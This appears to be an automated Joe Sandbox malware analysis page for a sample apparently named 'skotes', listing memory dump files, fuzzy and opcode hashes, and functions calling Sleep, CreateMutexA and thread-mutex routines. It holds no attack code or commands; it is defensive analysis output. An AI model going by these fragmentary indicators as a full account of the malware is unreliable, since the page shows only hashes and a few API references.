Associated: 00000002.00000002.2117399549.0000000000BD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2117430187.0000000000BD6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2117583204.0000000000BD7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118137185.0000000000D2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118245550.0000000000D2D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118432490.0000000000D46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118432490.0000000000D53000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118629730.0000000000D5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118707317.0000000000D5D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118743106.0000000000D66000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118799747.0000000000D68000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118826351.0000000000D69000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118901780.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118946572.0000000000D81000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118972299.0000000000D82000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118992107.0000000000D85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119017797.0000000000D87000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119042595.0000000000D88000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119066181.0000000000D89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119100736.0000000000D91000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119134189.0000000000D9C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119164921.0000000000DB4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119192716.0000000000DB8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119223939.0000000000DC8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119253112.0000000000DC9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119278402.0000000000DCA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119305467.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119331572.0000000000DD7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119361030.0000000000DDC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119388003.0000000000DE5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119418144.0000000000DE9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119449315.0000000000DEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119481945.0000000000DEC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119509286.0000000000DED000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119532699.0000000000DEE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119556897.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119580049.0000000000DF8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119613221.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119642124.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119677876.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119705939.0000000000E0D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119733536.0000000000E0E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119762540.0000000000E11000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119788880.0000000000E19000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119812897.0000000000E1C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119812897.0000000000E3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119873817.0000000000E66000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119899177.0000000000E67000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119923380.0000000000E68000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119947703.0000000000E6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119973870.0000000000E6F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119999474.0000000000E7D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2120024087.0000000000E7E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b60000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 39470b20a3eab2978e6c4ad4f2a4649ad0f23847b1e5d953f119b79e9f024d82
Instruction ID: b7ca4e23c2fb28d32e146da63c91adb139e7d4f1fa19733a97b99f3f5b636351
Opcode Fuzzy Hash: 39470b20a3eab2978e6c4ad4f2a4649ad0f23847b1e5d953f119b79e9f024d82
Instruction Fuzzy Hash: 61210A317142009BEF18AB68DC89B6DB7E5EBC5310F24829DE418D72D5DB7999808B11

Function 00B6A856 Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B6A963
CreateMutexA.KERNELBASE(00000000,00000000,00BC3254), ref: 00B6A981

Memory Dump Source

Source File: 00000002.00000002.2116623909.0000000000B61000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000002.00000002.2116587540.0000000000B60000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2116623909.0000000000BC2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2117257464.0000000000BC9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2117372741.0000000000BCB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2117399549.0000000000BD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2117430187.0000000000BD6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2117583204.0000000000BD7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118137185.0000000000D2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118245550.0000000000D2D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118432490.0000000000D46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118432490.0000000000D53000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118629730.0000000000D5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118707317.0000000000D5D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118743106.0000000000D66000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118799747.0000000000D68000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118826351.0000000000D69000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118901780.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118946572.0000000000D81000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118972299.0000000000D82000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118992107.0000000000D85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119017797.0000000000D87000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119042595.0000000000D88000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119066181.0000000000D89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119100736.0000000000D91000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119134189.0000000000D9C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119164921.0000000000DB4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119192716.0000000000DB8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119223939.0000000000DC8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119253112.0000000000DC9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119278402.0000000000DCA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119305467.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119331572.0000000000DD7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119361030.0000000000DDC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119388003.0000000000DE5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119418144.0000000000DE9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119449315.0000000000DEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119481945.0000000000DEC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119509286.0000000000DED000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119532699.0000000000DEE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119556897.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119580049.0000000000DF8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119613221.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119642124.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119677876.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119705939.0000000000E0D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119733536.0000000000E0E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119762540.0000000000E11000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119788880.0000000000E19000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119812897.0000000000E1C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119812897.0000000000E3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119873817.0000000000E66000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119899177.0000000000E67000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119923380.0000000000E68000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119947703.0000000000E6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119973870.0000000000E6F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119999474.0000000000E7D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2120024087.0000000000E7E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b60000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: ea10a77b7f9cf5bf7f7987b0ba1bca86274daa33da7e63634f737e780f54df2d
Instruction ID: db4721e77e3a0e79e49dab9c1d7bec2443a64d0457a8e1392497aa3fd71b8e0b
Opcode Fuzzy Hash: ea10a77b7f9cf5bf7f7987b0ba1bca86274daa33da7e63634f737e780f54df2d
Instruction Fuzzy Hash: 6F210D713552019BEF2467689C9AB7DB6D1EF81710F2448EAE108A72D1CE7E8981CA53

Function 00B6A34F Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B6A963
CreateMutexA.KERNELBASE(00000000,00000000,00BC3254), ref: 00B6A981

Memory Dump Source

Source File: 00000002.00000002.2116623909.0000000000B61000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000002.00000002.2116587540.0000000000B60000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2116623909.0000000000BC2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2117257464.0000000000BC9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2117372741.0000000000BCB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2117399549.0000000000BD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2117430187.0000000000BD6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2117583204.0000000000BD7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118137185.0000000000D2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118245550.0000000000D2D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118432490.0000000000D46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118432490.0000000000D53000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118629730.0000000000D5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118707317.0000000000D5D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118743106.0000000000D66000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118799747.0000000000D68000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118826351.0000000000D69000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118901780.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118946572.0000000000D81000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118972299.0000000000D82000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118992107.0000000000D85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119017797.0000000000D87000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119042595.0000000000D88000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119066181.0000000000D89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119100736.0000000000D91000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119134189.0000000000D9C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119164921.0000000000DB4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119192716.0000000000DB8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119223939.0000000000DC8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119253112.0000000000DC9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119278402.0000000000DCA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119305467.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119331572.0000000000DD7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119361030.0000000000DDC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119388003.0000000000DE5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119418144.0000000000DE9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119449315.0000000000DEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119481945.0000000000DEC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119509286.0000000000DED000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119532699.0000000000DEE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119556897.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119580049.0000000000DF8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119613221.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119642124.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119677876.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119705939.0000000000E0D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119733536.0000000000E0E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119762540.0000000000E11000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119788880.0000000000E19000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119812897.0000000000E1C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119812897.0000000000E3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119873817.0000000000E66000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119899177.0000000000E67000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119923380.0000000000E68000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119947703.0000000000E6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119973870.0000000000E6F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119999474.0000000000E7D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2120024087.0000000000E7E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b60000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: c5515780333a3ca895f1bb470a5bb5d800e69198b30f6a9944a90cadc69c6d74
Instruction ID: cdceb5961b8fa8c82c49989058104bb03fabd5074a58de17f570c3ffdb596785
Opcode Fuzzy Hash: c5515780333a3ca895f1bb470a5bb5d800e69198b30f6a9944a90cadc69c6d74
Instruction Fuzzy Hash: 0B214C317142009BEF18AB68DC89B7DB7F1DBD5310F34829EE418A77D5C77995808B52

Non-executed Functions

Function 00B62EC0 Relevance: 10.8, APIs: 7, Instructions: 272threadCOMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00B62F5F
GetCurrentThreadId.KERNEL32 ref: 00B62F7E
__Mtx_unlock.LIBCPMT ref: 00B62FCC
__Cnd_broadcast.LIBCPMT ref: 00B62FE3
__Mtx_unlock.LIBCPMT ref: 00B630F5
GetCurrentThreadId.KERNEL32 ref: 00B63132
__Mtx_unlock.LIBCPMT ref: 00B6319B

Memory Dump Source

Source File: 00000002.00000002.2116623909.0000000000B61000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000002.00000002.2116587540.0000000000B60000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2116623909.0000000000BC2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2117257464.0000000000BC9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2117372741.0000000000BCB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2117399549.0000000000BD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2117430187.0000000000BD6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2117583204.0000000000BD7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118137185.0000000000D2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118245550.0000000000D2D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118432490.0000000000D46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118432490.0000000000D53000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118629730.0000000000D5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118707317.0000000000D5D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118743106.0000000000D66000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118799747.0000000000D68000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118826351.0000000000D69000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118901780.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118946572.0000000000D81000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118972299.0000000000D82000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118992107.0000000000D85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119017797.0000000000D87000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119042595.0000000000D88000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119066181.0000000000D89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119100736.0000000000D91000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119134189.0000000000D9C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119164921.0000000000DB4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119192716.0000000000DB8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119223939.0000000000DC8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119253112.0000000000DC9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119278402.0000000000DCA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119305467.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119331572.0000000000DD7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119361030.0000000000DDC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119388003.0000000000DE5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119418144.0000000000DE9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119449315.0000000000DEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119481945.0000000000DEC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119509286.0000000000DED000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119532699.0000000000DEE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119556897.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119580049.0000000000DF8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119613221.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119642124.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119677876.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119705939.0000000000E0D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119733536.0000000000E0E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119762540.0000000000E11000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119788880.0000000000E19000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119812897.0000000000E1C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119812897.0000000000E3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119873817.0000000000E66000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119899177.0000000000E67000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119923380.0000000000E68000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119947703.0000000000E6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119973870.0000000000E6F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119999474.0000000000E7D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2120024087.0000000000E7E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b60000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$CurrentThread$Cnd_broadcast
String ID:
API String ID: 57040152-0
Opcode ID: 862c7933eecd11cf365c24746ee6b34d0893bc6121ad066642c4e139cb911ef3
Instruction ID: 43c39ea153c75b1287ae13863126ec17b099a5c7dfd1b1b0ece51ec8d33de0c1
Opcode Fuzzy Hash: 862c7933eecd11cf365c24746ee6b34d0893bc6121ad066642c4e139cb911ef3
Instruction Fuzzy Hash: 61A1D4B0A056059FDB10DF64C944B5ABBF8FF15710F1481ADE81AE7641EB39DA04CBD1

Function 00B9CBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00B9CC66

Memory Dump Source

Source File: 00000002.00000002.2116623909.0000000000B61000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000002.00000002.2116587540.0000000000B60000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2116623909.0000000000BC2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2117257464.0000000000BC9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2117372741.0000000000BCB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2117399549.0000000000BD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2117430187.0000000000BD6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2117583204.0000000000BD7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118137185.0000000000D2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118245550.0000000000D2D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118432490.0000000000D46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118432490.0000000000D53000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118629730.0000000000D5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118707317.0000000000D5D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118743106.0000000000D66000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118799747.0000000000D68000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118826351.0000000000D69000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118901780.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118946572.0000000000D81000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118972299.0000000000D82000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118992107.0000000000D85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119017797.0000000000D87000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119042595.0000000000D88000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119066181.0000000000D89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119100736.0000000000D91000.00000080.00000001.01000000.00000008.sdmpDownload File
